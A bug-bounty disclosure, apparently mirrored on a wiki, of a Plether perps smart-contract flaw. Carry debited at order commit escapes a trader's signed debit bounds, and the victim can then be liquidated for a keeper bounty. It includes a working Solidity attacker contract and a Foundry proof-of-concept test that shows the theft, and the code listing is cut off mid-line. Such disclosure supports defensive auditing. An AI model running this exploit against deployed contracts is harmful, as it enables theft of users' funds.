Carry realized during order commit bypasses signed debit bounds and enables liquidation-bounty theft
When an opening order with a nonzero bounty is committed, accrued carry is checkpointed and debited before the order's commitment effects are recorded, so the signed debit bounds never see that carry charge. This lets a position grow beyond the risk the trader authorised, and the larger position can then be liquidated with the keeper bounty taken from the victim's reserved collateral.
- Disclosed after under an hour
#100078 [SC-Low] Carry realized during order commit bypasses signed debit bounds and enables liquidation-bounty theft
Submitted on Nov 16th 2026 at 07:40:32 UTC by @OxVrka for Audit Competition | Plether
- Report ID: #100078
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
An opening V3 order checkpoints accrued carry while reserving its bounty, before recording the order’s commitment effects. Since the carry debit is absent from those effects, signed debit bounds can admit an increase larger than the trader authorized, expanding exposure and enabling liquidation.
Vulnerability Details
An opening V3 order with a nonzero bounty reaches this path when carry has accrued on the trader’s position. The Router reserves that bounty before recording commitment effects; no special order type or privileged commit is needed.
The commit reserves the execution bounty before it records the order’s commitment effects:
CfdEnginePlanTypes.CloseCommitment memory effects =
_reserveExecutionBounty(account, order.sizeDelta, executionBountyAssets, order.isClose);
clearinghouse.recordBountyReservation(
account, IMarginClearinghouse.BountyKind.Order, orderId, executionBountyAssets
);
_onOrderCommitted(order, effects);
_reserveCommittedMargin(account, orderId, order.isClose, order.marginDelta);
For a nonzero opening bounty, the reservation locks settlement:
effects.bountyFromFreeAssets = bounty;
if (bounty == 0) {
return effects;
}
if (clearinghouse.getAccountAssetBuckets(account).freeSettlementAssets < bounty) {
revert OrderRouter__InsufficientFreeEquity();
}
clearinghouse.lockReservedSettlement(account, bounty);
That lock checkpoints carry before changing the reserved-settlement bucket:
function lockReservedSettlement(
address account,
uint256 amountAssets
) external onlyReservedSettlementLocker {
_checkpointCarryBeforeMarginChange(account);
_lockMargin(account, IMarginClearinghouse.MarginBucket.ReservedSettlement, amountAssets);
}
The clearinghouse dispatches the checkpoint to the engine:
ICfdEngineCore(engine_).realizeCarryBeforeMarginChange(account);
The engine then consumes settlement and transfers realized carry to the pool:
(uint256 marginConsumedAssets, uint256 freeSettlementConsumedAssets, uint256 uncoveredAssets) =
clearinghouse.consumeSettlementLoss(account, carryDueAssets, address(this));
realizedCarryAssets = carryDueAssets - uncoveredAssets;
if (realizedCarryAssets > 0) {
settlementToken.safeTransfer(address(pool), realizedCarryAssets);
pool.recordClaimantInflow(
realizedCarryAssets,
IHousePool.ClaimantInflowKind.Revenue,
IHousePool.ClaimantInflowCashMode.CashArrived
);
}
The returned commitment effects do not include that debit. The lifecycle book checks only the reported carry and bounty:
uint256 gross = effects.carryCollectedAssets + pending.executionBountyAssets;
if (gross > pending.bounds.maxGrossAccountDebitAssets) {
revert OrderLifecycleBook__CommitmentBoundExceeded(
OrderV3Types.ConstraintKind.GrossAccountDebit, gross, pending.bounds.maxGrossAccountDebitAssets
);
}
if (effects.carryCollectedAssets > pending.bounds.maxActionChargeAssets) {
revert OrderLifecycleBook__CommitmentBoundExceeded(
OrderV3Types.ConstraintKind.ActionCharge,
effects.carryCollectedAssets,
pending.bounds.maxActionChargeAssets
);
}
Here effects.carryCollectedAssets is zero, so both checks pass.
The later policy check uses the same stored bounds and cannot recover the omitted carry debit. The larger position can therefore persist with more exposure than the trader authorized, leaving its protection unable to close within its configured ceiling.
Impact Details
The carry debit can exceed the trader’s signed limit without appearing in the recorded commitment effects. The resulting unauthorized increase exposes the victim to losses beyond the risk the trader approved.
Later policy checks use the same incomplete effects and do not restore the signed bound. If the larger position exceeds its protection ceiling, it can remain open and become liquidatable, with the keeper bounty paid from the victim’s reserved collateral.
The issue requires a live position with accrued carry and an ordinary opening V3 order with a nonzero bounty; the relevant commit and liquidation paths are public. The PoC demonstrates direct theft of the liquidation bounty from the victim’s reserve.
References
- Reviewed repository commit
- Commit ordering and bounty reservation · reservation accounting
- Carry checkpoint inside settlement lock
- Carry routing and account debit · realization
- Recorded effects checked against signed bounds
- Stored bounds enforced at execution
- Public protection continuation
- In-flight protection status
- Latched-only owner amendment
- Close attempt uses durable limits
- Public liquidation route and release deployment defaults · deployment defaults
Link to Proof of Concept
https://gist.github.com/0xVrka/45926409c04b643f9ef4cc83fdda6f82
Proof of Concept
Proof of Concept
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "./BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {ICfdEngineRiskParamsView} from "@plether/perps/interfaces/ICfdEngineRiskParamsView.sol";
import {ICfdEngineTypes} from "@plether/perps/interfaces/ICfdEngineTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {IPerpsKeeper} from "@plether/perps/interfaces/IPerpsKeeper.sol";
import {IPositionProtectionActions} from "@plether/perps/interfaces/IPositionProtectionActions.sol";
import {IPositionProtectionViews} from "@plether/perps/interfaces/IPositionProtectionViews.sol";
import {PositionProtectionTypes} from "@plether/perps/interfaces/PositionProtectionTypes.sol";
/// @dev An ordinary, permissionless smart-account keeper. It owns no protocol role.
contract CarryTheftAttacker {
IPerpsKeeper private immutable router;
IPositionProtectionActions private immutable protectionActions;
constructor(
address router_,
address protectionBook_
) {
router = IPerpsKeeper(router_);
protectionActions = IPositionProtectionActions(protectionBook_);
}
function retry(
uint64 protectionId
) external returns (uint64 retryOrderId) {
retryOrderId = protectionActions.retryPositionProtectionClose(protectionId);
}
function liquidate(
address account,
bytes[] calldata pythUpdateData
) external payable {
router.executeLiquidation{value: msg.value}(account, pythUpdateData);
}
}
/// @notice End-to-end reproduction through the production router: commit-time carry realization
/// escapes the signed order bounds and the locked protection repair path turns it into theft.
contract CarryEscapesOrderBoundsTest is BasePerpTest {
address private constant VICTIM = address(0xC4111E);
address private constant NEUTRAL_KEEPER = address(0xB07);
uint256 private constant STARTING_SIZE = 100_000e18;
uint256 private constant STARTING_MARGIN = 3000e6;
uint256 private constant INCREASE_SIZE = 1000e18;
uint256 private constant CARRY_WAIT = 365 days;
uint256 private constant START_PRICE = 1e8;
uint256 private constant STOP_PRICE = 100_500_000;
uint256 private constant FINAL_PRICE = 102_495_000;
uint256 private constant PROTECTION_NOTIONAL_LIMIT = 100_000e6;
uint256 private constant RESERVE_FOR_PROTECTION = 200_000;
uint256 private constant SIGNED_GROSS_LIMIT = 1_100_000;
IPositionProtectionActions private protectionActions;
IPositionProtectionViews private protectionViews;
CarryTheftAttacker private attacker;
struct LatchedPosition {
uint64 protectionId;
uint64 failedCloseId;
uint64 retryCloseId;
uint256 carryAssets;
uint256 retryGas;
}
function setUp() public override {
super.setUp();
// BasePerpTest relaxes only senior limits for broad unit coverage; restore release values here.
IHousePool.PoolConfig memory config = IHousePool.PoolConfig({
seniorRateBps: pool.seniorRateBps(),
markStalenessLimit: pool.markStalenessLimit(),
seniorFrozenLpFeeBps: pool.seniorFrozenLpFeeBps(),
juniorFrozenLpFeeBps: pool.juniorFrozenLpFeeBps(),
maxSeniorExposureAssets: 40_000_000e6,
maxSeniorShareBps: 8000
});
pool.proposePoolConfig(config);
vm.warp(pool.poolConfigActivationTime());
pool.finalizePoolConfig();
// Match the release wrapper's oracle policy; local Pyth updates carry zero confidence.
IOrderRouterAdminHost.RouterConfig memory releaseRouterConfig = _routerConfig();
releaseRouterConfig.adverseConfidenceMultiplierBps = 2500;
releaseRouterConfig.minOpenNotionalAssets = 1000e6;
_setRouterConfig(releaseRouterConfig);
// BasePerpTest starts on Monday; the two real config delays cross the weekend market close.
vm.warp(block.timestamp + 1 days);
assertFalse(engine.isOracleFrozen(), "all attack transactions run in the ordinary open market window");
protectionActions = IPositionProtectionActions(router.positionProtectionBook());
protectionViews = IPositionProtectionViews(router.positionProtectionBook());
attacker = new CarryTheftAttacker(address(router), address(router.positionProtectionBook()));
CfdTypes.RiskParams memory risk = ICfdEngineRiskParamsView(address(engine)).riskParams();
assertEq(risk.vpiFactor, 0.01e18, "release VPI factor");
assertEq(risk.maxSkewRatio, 0.4e18, "release skew cap");
assertEq(risk.maintMarginBps, 10, "release maintenance margin");
assertEq(risk.initMarginBps, 20, "release initial margin");
assertEq(risk.fadMarginBps, 300, "release FAD margin");
assertEq(risk.baseCarryBps, 500, "release carry rate");
assertEq(risk.minBountyAssets, 1e6, "release minimum liquidation charge");
assertEq(risk.bountyBps, 10, "release liquidation charge rate");
assertEq(risk.keeperShareBps, 5000, "release keeper share");
assertEq(risk.protocolShareBps, 0, "release treasury share");
assertEq(engine.executionFeeBps(), 4, "release execution fee");
assertEq(engine.settlementBufferBps(), 25, "release settlement buffer");
assertFalse(engine.degradedMode(), "normal risk mode is active");
assertEq(engine.protocolTreasury(), PROTOCOL_TREASURY_ACCOUNT, "treasury remains set");
assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "release senior exposure cap");
assertEq(pool.maxSeniorShareBps(), 8000, "release senior share cap");
assertEq(pool.juniorPrincipal(), 1_000_000e6, "release junior seed amount");
assertEq(pool.seniorPrincipal(), 1_000_000e6, "release senior seed amount");
assertEq(pletherOracle.orderExecutionStalenessLimit(), 60, "release order window");
assertEq(pletherOracle.liquidationStalenessLimit(), 15, "release liquidation window");
assertEq(pletherOracle.orderSettlementWindow(), 15, "release historical execution window");
assertEq(pletherOracle.maxComponentPublishTimeDivergence(), 5, "release Pyth divergence limit");
assertEq(pletherOracle.basketMaxConfidenceRatioBps(), 10, "release basket confidence width");
assertEq(pletherOracle.adverseConfidenceMultiplierBps(), 2500, "release adverse confidence multiplier");
assertEq(router.maxExecutionWindowSeconds(), 60, "release order deadline window");
assertEq(router.minOpenNotionalAssets(), 1000e6, "release minimum open notional");
assertEq(router.openOrderExecutionBountyBps(), 1, "release opening bounty rate");
assertEq(router.minOpenOrderExecutionBountyAssets(), 10_000, "release minimum opening bounty");
assertEq(router.maxOpenOrderExecutionBountyAssets(), 200_000, "release maximum opening bounty");
assertEq(
router.positionProtectionTriggerBountyAssets(), RESERVE_FOR_PROTECTION, "release protection trigger reward"
);
assertEq(router.maxPendingOrders(), 5, "release pending-order cap");
}
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorSeedDeposit() internal pure override returns (uint256) {
return 1_000_000e6;
}
function _initialSeniorSeedDeposit() internal pure override returns (uint256) {
return 1_000_000e6;
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 0;
}
function _initialSeniorDeposit() internal pure override returns (uint256) {
return 0;
}
function test_AttackerTurnsUnboundedCarryDebitIntoLiquidationBounty() public {
LatchedPosition memory position = _buildLatchedPosition(true, true);
assertEq(position.carryAssets, 235_625_132, "one release-rate carry year matches the exact local witness");
assertGt(position.carryAssets, 100e6, "carry link exceeds $100 scale");
assertGt(position.carryAssets, RESERVE_FOR_PROTECTION, "carry debit materially exceeds reserve");
assertEq(
uint8(protectionViews.getPositionProtection(position.protectionId).status),
uint8(PositionProtectionTypes.PositionProtectionStatus.Triggered),
"attacker retry occupies amendment state"
);
assertEq(
router.lifecycleBook().pendingPolicy(position.retryCloseId).maxExecutionNotionalAssets,
PROTECTION_NOTIONAL_LIMIT,
"attacker retry copies the unchanged failing trader ceiling"
);
PositionProtectionTypes.CloseFinancialLimits memory rejectedAmendment =
_protectionLimits(type(uint256).max, type(uint256).max);
vm.prank(VICTIM);
vm.expectRevert(IOrderRouterErrors.OrderRouter__ProtectionNotLatched.selector);
protectionActions.amendLatchedPositionProtectionCloseLimits(position.protectionId, rejectedAmendment);
ICfdEngineTypes.LiquidationPreview memory preview = engineLens.previewLiquidation(VICTIM, FINAL_PRICE);
emit log_named_uint("attacker final neutral mark (8 decimals)", FINAL_PRICE);
emit log_named_int("final liquidation preview equity (6 decimals)", preview.equityAssets);
emit log_named_uint("final liquidation preview keeper bounty (6 decimals)", preview.keeperBountyAssets);
emit log_named_uint("final liquidation preview total charge (6 decimals)", preview.liquidationChargeAssets);
assertTrue(preview.liquidatable, "carry and public retry must jointly reach liquidation at this price");
assertGt(preview.keeperBountyAssets, 0, "the victim funds a concrete keeper payout");
assertEq(preview.equityAssets, 80_522_404, "exact final equity is below maintenance");
assertEq(preview.keeperBountyAssets, 50_500_000, "release keeper share of the charge is $50.50");
assertEq(preview.liquidationChargeAssets, 101_000_000, "release liquidation charge is $101.00");
uint256 attackerBefore = clearinghouse.balanceAssets(address(attacker));
uint256 victimBefore = clearinghouse.balanceAssets(VICTIM);
bytes[] memory liquidationUpdate = _mockPythUpdateData(FINAL_PRICE);
uint256 gasBefore = gasleft();
attacker.liquidate(VICTIM, liquidationUpdate);
uint256 liquidationGas = gasBefore - gasleft();
uint256 attackerAfter = clearinghouse.balanceAssets(address(attacker));
uint256 victimAfter = clearinghouse.balanceAssets(VICTIM);
assertEq(attackerBefore, 0, "attacker receives no protection-trigger bounty");
assertEq(attackerAfter - attackerBefore, preview.keeperBountyAssets, "attacker receives the exact keeper share");
assertEq(attackerAfter, 50_500_000, "attacker's exact post-liquidation balance is $50.50");
assertLt(victimAfter, victimBefore, "victim settlement balance decreases");
assertGe(
victimBefore - victimAfter,
preview.liquidationChargeAssets,
"victim pays at least the quoted liquidation charge"
);
assertGt(victimBefore - victimAfter, 100e6, "victim loss exceeds $100 scale");
assertEq(victimBefore, 2_701_472_419, "victim's exact pre-liquidation settlement balance");
assertEq(victimAfter, 80_522_397, "victim's exact post-liquidation settlement balance");
assertEq(victimBefore - victimAfter, 2_620_950_022, "victim's exact settlement decrease is $2,620.950022");
assertEq(_positionSize(VICTIM), 0, "public liquidation closes the victim position");
assertEq(
uint8(protectionViews.getPositionProtection(position.protectionId).status),
uint8(PositionProtectionTypes.PositionProtectionStatus.Liquidated),
"liquidation clears protected retry"
);
emit log_named_uint("attacker balance before liquidation", attackerBefore);
emit log_named_uint("attacker balance after liquidation", attackerAfter);
emit log_named_uint("victim balance before liquidation", victimBefore);
emit log_named_uint("victim balance after liquidation", victimAfter);
emit log_named_uint("victim exact liquidation charge", victimBefore - victimAfter);
emit log_named_uint("attacker liquidation call gas", liquidationGas);
emit log_named_uint("attacker retry gas", position.retryGas);
emit log_named_uint("attacker measured gas across retry and liquidation", position.retryGas + liquidationGas);
}
function _buildLatchedPosition(
bool accrueCarry,
bool attackerRetries
) private returns (LatchedPosition memory position) {
uint256 initialBounty = _expectedOpenBounty(STARTING_SIZE);
uint256 increaseBounty = _expectedOpenBounty(INCREASE_SIZE);
assertEq(initialBounty, 200_000, "release cap pays the $0.20 initial open bounty");
assertEq(increaseBounty, 100_000, "release rate pays the $0.10 increase bounty");
assertEq(SIGNED_GROSS_LIMIT, 1_100_000, "trader signs a $1.10 gross debit bound");
uint256 increaseMargin = 3e6;
_fundTrader(
VICTIM,
STARTING_MARGIN + initialBounty + increaseBounty + increaseMargin + RESERVE_FOR_PROTECTION
+ SIGNED_GROSS_LIMIT + 100e6
);
_openThroughRouter(VICTIM);
uint256 freeAssets = clearinghouse.getAccountAssetBuckets(VICTIM).freeSettlementAssets;
uint256 requiredFree = increaseBounty + increaseMargin + RESERVE_FOR_PROTECTION + SIGNED_GROSS_LIMIT;
assertGt(freeAssets, requiredFree, "fixture has free settlement to retain only declared reservations");
vm.prank(VICTIM);
clearinghouse.withdrawMargin(freeAssets - requiredFree);
assertEq(
clearinghouse.getAccountAssetBuckets(VICTIM).freeSettlementAssets,
requiredFree,
"only increase bounty and protection reserve remain liquid"
);
if (accrueCarry) {
vm.warp(block.timestamp + CARRY_WAIT);
bytes[] memory markUpdate = _mockPythUpdateData(START_PRICE);
vm.prank(NEUTRAL_KEEPER);
router.updateMarkPrice(markUpdate);
}
uint256 balanceBeforeCommit = clearinghouse.balanceAssets(VICTIM);
OrderV3Types.OrderRequest memory increase = _request(
keccak256(abi.encode("bounded-increase", accrueCarry)),
CfdTypes.Side.LONG,
INCREASE_SIZE,
increaseMargin,
START_PRICE,
false
);
increase.bounds.maxExecutionBountyAssets = increaseBounty;
increase.bounds.maxGrossAccountDebitAssets = SIGNED_GROSS_LIMIT;
increase.bounds.maxActionChargeAssets = SIGNED_GROSS_LIMIT;
// Anchor the submit deadline to the fresh post-warp mark time via a staticcall,
// so the optimizer cannot common-subexpression the timestamp read across the
// carry-accrual warp above.
increase.bounds.submitBy = uint64(engine.lastMarkTime() + 60);
vm.prank(VICTIM);
uint64 increaseId = router.commitOrder(increase);
uint256 balanceAfterCommit = clearinghouse.balanceAssets(VICTIM);
position.carryAssets = balanceBeforeCommit - balanceAfterCommit;
if (accrueCarry) {
assertGt(position.carryAssets, 100e6, "ordinary bounded increase commits after >$100 carry debit");
assertGt(
position.carryAssets,
increase.bounds.maxGrossAccountDebitAssets,
"carry exceeds the signed gross debit ceiling"
);
assertGt(
position.carryAssets,
increase.bounds.maxActionChargeAssets,
"carry exceeds the signed action-charge ceiling"
);
} else {
assertEq(position.carryAssets, 0, "no elapsed carry was collected");
}
assertEq(
router.lifecycleBook().pendingIntent(increaseId).commitment.carryCollectedAssets,
0,
"commitment omits carry collected by its first reservation callback"
);
if (accrueCarry) {
assertEq(
position.carryAssets + increaseBounty,
235_725_132,
"actual commit-time carry plus bounty is $235.725132"
);
}
emit log_named_uint("carry world accrued carry (6 decimals)", position.carryAssets);
emit log_named_uint("increase declared max gross (6 decimals)", increase.bounds.maxGrossAccountDebitAssets);
emit log_named_uint("increase actual carry plus bounty (6 decimals)", position.carryAssets + increaseBounty);
bytes[] memory increaseUpdate = _mockPythUpdateAfterLastMark(START_PRICE);
vm.prank(NEUTRAL_KEEPER);
OrderV3Types.ExecutionResult memory increaseResult = router.executeOrder(increaseId, increaseUpdate);
emit log_named_uint("increase execution status", uint8(increaseResult.status));
emit log_named_uint("increase terminal reason", uint8(increaseResult.terminalReason));
emit log_named_uint("increase pending reason", uint8(increaseResult.pendingReason));
assertEq(
uint8(increaseResult.status),
uint8(OrderV3Types.LifecycleStatus.Executed),
"underbound increase executes despite the earlier carry debit"
);
assertEq(_positionSize(VICTIM), STARTING_SIZE + INCREASE_SIZE, "increase adds $1,000 of position exposure");
emit log_named_uint("carry plus bounty charged at increase commit", position.carryAssets + increaseBounty);
emit log_named_uint("increase order declared gross ceiling", increase.bounds.maxGrossAccountDebitAssets);
emit log_named_uint("increase order declared action ceiling", increase.bounds.maxActionChargeAssets);
uint256 freeAfterIncrease = clearinghouse.getAccountAssetBuckets(VICTIM).freeSettlementAssets;
assertGe(freeAfterIncrease, RESERVE_FOR_PROTECTION, "execution leaves protection bounty funded");
if (freeAfterIncrease > RESERVE_FOR_PROTECTION) {
vm.prank(VICTIM);
clearinghouse.withdrawMargin(freeAfterIncrease - RESERVE_FOR_PROTECTION);
}
assertEq(
clearinghouse.getAccountAssetBuckets(VICTIM).freeSettlementAssets,
RESERVE_FOR_PROTECTION,
"trader leaves only the normal protection reserve after the increase"
);
position.protectionId = _createProtection(PROTECTION_NOTIONAL_LIMIT);
position.failedCloseId = _triggerOnly(position.protectionId);
_assertFailingProtectionBound(position.failedCloseId);
_executeFailedAttempt(position.failedCloseId, NEUTRAL_KEEPER);
if (attackerRetries) {
uint256 gasBeforeRetry = gasleft();
position.retryCloseId = attacker.retry(position.protectionId);
position.retryGas = gasBeforeRetry - gasleft();
assertGt(position.retryCloseId, position.failedCloseId, "permissionless retry installs a fresh child");
assertEq(
uint8(protectionViews.getPositionProtection(position.protectionId).status),
uint8(PositionProtectionTypes.PositionProtectionStatus.Triggered),
"retry occupies owner amendment gate"
);
emit log_named_uint("attacker permissionless retry gas", position.retryGas);
} else {
assertEq(
uint8(protectionViews.getPositionProtection(position.protectionId).status),
uint8(PositionProtectionTypes.PositionProtectionStatus.Latched),
"without retry the owner gets the repair window"
);
}
emit log_named_uint("terminalized protection close id", position.failedCloseId);
if (attackerRetries) {
emit log_named_uint("retry protection close id", position.retryCloseId);
}
}
function _assertFailingProtectionBound(
uint64 orderId
) private {
uint256 executionNotional = (_positionSize(VICTIM) / CfdTypes.SIZE_QUANTUM) * STOP_PRICE;
uint256 maxNotional = router.lifecycleBook().pendingPolicy(orderId).maxExecutionNotionalAssets;
uint256 expectedNotional =
_positionSize(VICTIM) == STARTING_SIZE + INCREASE_SIZE ? 101_505_000_000 : 100_500_000_000;
assertEq(maxNotional, PROTECTION_NOTIONAL_LIMIT, "child inherits the trader's finite close ceiling");
assertEq(executionNotional, expectedNotional, "Pyth stop mark yields the exact close notional");
assertGt(executionNotional, maxNotional, "stop execution notional exceeds the copied ceiling");
emit log_named_uint("protection child max close notional (6 decimals)", maxNotional);
emit log_named_uint("stop execution notional (6 decimals)", executionNotional);
}
function _openThroughRouter(
address account
) private {
bytes[] memory markUpdate = _mockPythUpdateData(START_PRICE);
vm.prank(NEUTRAL_KEEPER);
router.updateMarkPrice(markUpdate);
OrderV3Types.OrderRequest memory request = _request(
keccak256(abi.encode("bounded-open", account, router.nextCommitId())),
CfdTypes.Side.LONG,
STARTING_SIZE,
STARTING_MARGIN,
START_PRICE,
false
);
vm.prank(account);
uint64 orderId = ro
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the carry realisation happens inside the settlement lock before commitment effects are built, so the returned effects omit the carry debit and the bound checks only see zero carry.
Impact
The carry debit can exceed the trader's signed limit without appearing in the recorded effects, so the position can grow past its protection ceiling, remain open and be liquidated, with the keeper bounty paid from the victim's reserved collateral.
What the attacker needed
A live position with accrued carry; an ordinary opening order with a nonzero bounty; attacker can call public commit and liquidation paths
How it was found
- Open a position through the router and leave only the increase bounty, margin and protection reserve as free settlement.
- Let carry accrue on the position over time and refresh the mark price.
- Commit an ordinary opening order with a nonzero bounty and signed debit bounds.
- Observe the carry debit taken at commit while the recorded effects show zero carry, so the bounds pass.
- Retry the protection close so the failing trader ceiling is copied and the owner cannot amend it.
- Liquidate the now-undercollateralised position and collect the keeper bounty from the victim's reserve.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A trader signs limits on how much an order may cost them. The system charges an ongoing fee called carry, but when it takes that fee it forgets to count it against the trader's limits. So the trader can end up with a bigger, riskier position than they agreed to, and someone can then close it out and collect a reward paid from the trader's own money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.